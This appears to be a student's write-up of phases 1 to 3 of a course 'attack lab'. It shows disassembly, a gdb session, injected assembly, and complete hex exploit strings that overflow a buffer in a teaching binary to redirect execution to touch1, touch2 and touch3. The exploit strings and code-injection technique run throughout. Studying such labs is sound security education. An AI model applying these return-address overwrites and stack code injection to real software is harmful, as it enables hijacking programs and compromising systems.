Phase 1: We are trying to change the return address of getbuf function with the address of the touch1 function to call that function. We are going to do it by overflowing the stack with the exploit string.

First I did “objdump -d ctarget” to see getbuf function and the touch 1 function. Then I saw this

```
00000000004018cd <getbuf>:
  4018cd:       55                      push   %rbp
  4018ce:       48 89 e5                mov    %rsp,%rbp
  4018d1:       48 83 ec 10             sub    $0x10,%rsp
  4018d5:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  4018d9:       48 89 c7                mov    %rax,%rdi
  4018dc:       e8 eb 03 00 00          callq  401ccc <Gets>
  4018e1:       b8 01 00 00 00          mov    $0x1,%eax
  4018e6:       c9                      leaveq
  4018e7:       c3                      retq

00000000004018e8 <touch1>:
  4018e8:       55                      push   %rbp
  4018e9:       48 89 e5                mov    %rsp,%rbp
  4018ec:       c7 05 16 3c 20 00 01    movl   $0x1,0x203c16(%rip)        # 60550c <
vlevel>
  4018f3:       00 00 00
  4018f6:       bf a8 35 40 00          mov    $0x4035a8,%edi
  4018fb:       e8 30 f4 ff ff          callq  400d30 <puts@plt>
  401900:       bf 01 00 00 00          mov    $0x1,%edi
  401905:       e8 ca 01 00 00          callq  401ad4 <validate>
  40190a:       bf 00 00 00 00          mov    $0x0,%edi
  40190f:       e8 fc f5 ff ff          callq  400f10 <exit@plt>
```

Push allocates 8 byte and sub $0x10 allocates so the the buffer that is allocated is 24 bytes =0x18 bytes.

So we need to put 24 bytes worth of padding than the return address of touch1 functions address. We can see its adderss above as well.

Because the system is little endian we need to write it upside down so the final text is this:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
e8 18 40 00 00 00 00 00
```

And we reach this when we pass

```
[celtepe22@linux05 target24]$ ./hex2raw < ctarget_11.txt | ./ctarget -q
Cookie: 0x783cd2dd
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id User24
        course  KU - Spring 2024 - COMP 201
        lab     attacklab
        result  24:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 E8 18 40 00 00 00 00 00
```

Phase2: This one takes arguments so its a little different. It takes my cookie as an argument to touch2.

```
0000000000401914 <touch2>:
  401914:       55                      push   %rbp
  401915:       48 89 e5                mov    %rsp,%rbp
  401918:       48 83 ec 10             sub    $0x10,%rsp
  40191c:       89 7d fc                mov    %edi,-0x4(%rbp)
  40191f:       c7 05 e3 3b 20 00 02    movl   $0x2,0x203be3(%rip)        # 60550c <
vlevel>
  401926:       00 00 00
  401929:       8b 05 d5 3b 20 00       mov    0x203bd5(%rip),%eax        # 605504 <
cookie>
  40192f:       39 45 fc                cmp    %eax,-0x4(%rbp)
  401932:       75 20                   jne    401954 <touch2+0x40>
  401934:       8b 45 fc                mov    -0x4(%rbp),%eax
  401937:       89 c6                   mov    %eax,%esi
  401939:       bf c8 35 40 00          mov    $0x4035c8,%edi
  40193e:       b8 00 00 00 00          mov    $0x0,%eax
  401943:       e8 38 f4 ff ff          callq  400d80 <printf@plt>
  401948:       bf 02 00 00 00          mov    $0x2,%edi
  40194d:       e8 82 01 00 00          callq  401ad4 <validate>
  401952:       eb 1e                   jmp    401972 <touch2+0x5e>
  401954:       8b 45 fc                mov    -0x4(%rbp),%eax
  401957:       89 c6                   mov    %eax,%esi
  401959:       bf f0 35 40 00          mov    $0x4035f0,%edi
  40195e:       b8 00 00 00 00          mov    $0x0,%eax
  401963:       e8 18 f4 ff ff          callq  400d80 <printf@plt>
  401968:       bf 02 00 00 00          mov    $0x2,%edi
  40196d:       e8 7a 02 00 00          callq  401bec <fail>
  401972:       bf 00 00 00 00          mov    $0x0,%edi
  401977:       e8 94 f5 ff ff          callq  400f10 <exit@plt>
```

Recall that the first argument to a function is passed in register %rdi. This gives a lot of information on what we should do. We need to put our cookie in rdi. So I wrote an assmebly code in phase2.s and and then compiled and run it to get the byte representation of the code.

```
mov $0x783cd2dd , %rdi
ret
```

the code

```
[celtepe22@linux01 target24]$ objdump -d phase2.o

phase2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 dd d2 3c 78    mov    $0x783cd2dd,%rdi
   7:   c3                      retq
```

First I thought I was done and tried to run it with the byte representation, the padding and the touch2 address but obviously, I was wrong because we need the address of the rsp to put it before the touch2 address to make sure we put the parameter in the right place.

So I run the code in gdb and came to the call function that asks for a string. I put a bigger than buffer size number of random characters and then got the address of the rsp at that point to make sure the parameter was going to go to the my code after the function returns.

```
(gdb)
Type string:sssssssssssssssssssssssssssssssss
15      in buf.c
(gdb) x/c $rsp
0x556788c8:     115 's'
```

This is the answer

```
48 c7 c7 dd d2 3c 78 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c8 88 67 55 00 00 00 00
14 19 40 00 00 00 00 00
```

```
[celtepe22@linux05 target24]$ ./hex2raw < ctarget_12.txt | ./ctarget -q
Cookie: 0x783cd2dd
Type string:Touch2!: You called touch2(0x783cd2dd)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
       user id User24
       course  KU - Spring 2024 - COMP 201
       lab     attacklab
       result  24:PASS:0xffffffff:ctarget:2:48 C7 C7 DD D2 3C 78 C3 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 C8 88 67 55 00 00 00 00 14 19 40 00 00 00 00 00
```

Phase 3: In this one we pass our cookie as a string to our touch3 function.

When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie. Keeping this in my mind I decided to store my cookie after the touch3.

We need to pass the address fort he cookie to register rdi and we do this by adding 0x28 to our rsp regsiter address we got from phase2. We add 0x28 because the buffer is 0x18 and the both the addresses of the rsp return and touch3 are 8 bytes. After this new address, we do the same stuff we did before and get this.

```
movq $0x556788f0,%rdi
retq
```

```
[celtepe22@linux05 target24]$ objdump -d phase3.o

phase3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 f0 88 67 55    mov    $0x556788f0,%rdi
   7:   c3                      retq
```

And the touch 3 address we got from objdump -d ctarget :

```
0000000000401a2f <touch3>:
  401a2f:       55                      push   %rbp
  401a30:       48 89 e5                mov    %rsp,%rbp
  401a33:       48 83 ec 10             sub    $0x10,%rsp
  401a37:       48 89 7d f8             mov    %rdi,-0x8(%rbp)
  401a3b:       c7 05 c7 3a 20 00 03    movl   $0x3,0x203ac7(%rip)
vlevel>
```

Last thing I did was to transform my cookie by assuming it was ASCII characters and transforming it into hexadecimals. I converted it by using the man ascii converting table.

```
48 c7 c7 f0 88 67 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c8 88 67 55 00 00 00 00
2f 1a 40 00 00 00 00 00
37 38 33 63 64 32 64 64
```

Last row is that conversion.

```
[celtepe22@linux05 target24]$ ./hex2raw < ctarget_13.txt | ./ctarget -q
Cookie: 0x783cd2dd
Type string:Touch3!: You called touch3("783cd2dd")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id User24
        course  KU - Spring 2024 - COMP 201
        lab     attacklab
        result  24:PASS:0xffffffff:ctarget:3:48 C7 C7 F0 88 67 55 C3 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 C8 88 67 55 00 00 00 00 2F 1A 40 00 00 00 00 00 37
38 33 63 64 32 64 64
```

With this screen, I was done.